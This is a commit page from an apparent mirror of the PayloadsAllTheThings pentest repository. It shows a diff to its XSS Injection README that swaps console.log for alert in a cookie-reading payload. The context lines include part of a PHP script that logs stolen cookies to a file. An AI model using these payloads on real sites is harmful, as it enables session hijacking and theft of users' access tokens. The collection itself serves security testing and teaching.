ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-24 05:15:26 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Replaced console.log with alert

Browse Source 
It's more common to want alert screenshots vs console screenshots.
This commit is contained in:
Cory Cline 2022-10-13 18:45:55 -05:00 committed by GitHub
parent f23f28c4e2
commit 9a42be1113
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
XSS Injection/README.md
View File

@ -117,7 +117,6 @@ Obtains the administrator cookie or sensitive access token, the following payloa
Write the collected data into a file. Write the collected data into a file.
```php
<?php <?php
$cookie = $_GET['c']; $cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+'); $fp = fopen('cookies.txt', 'a+');
@ -780,7 +779,7 @@ window["doc"+"ument"]
This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements. This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.
``` ```
Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);}); Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{alert(cookieValue.value);});
``` ```
### Bypass using javascript inside a string ### Bypass using javascript inside a string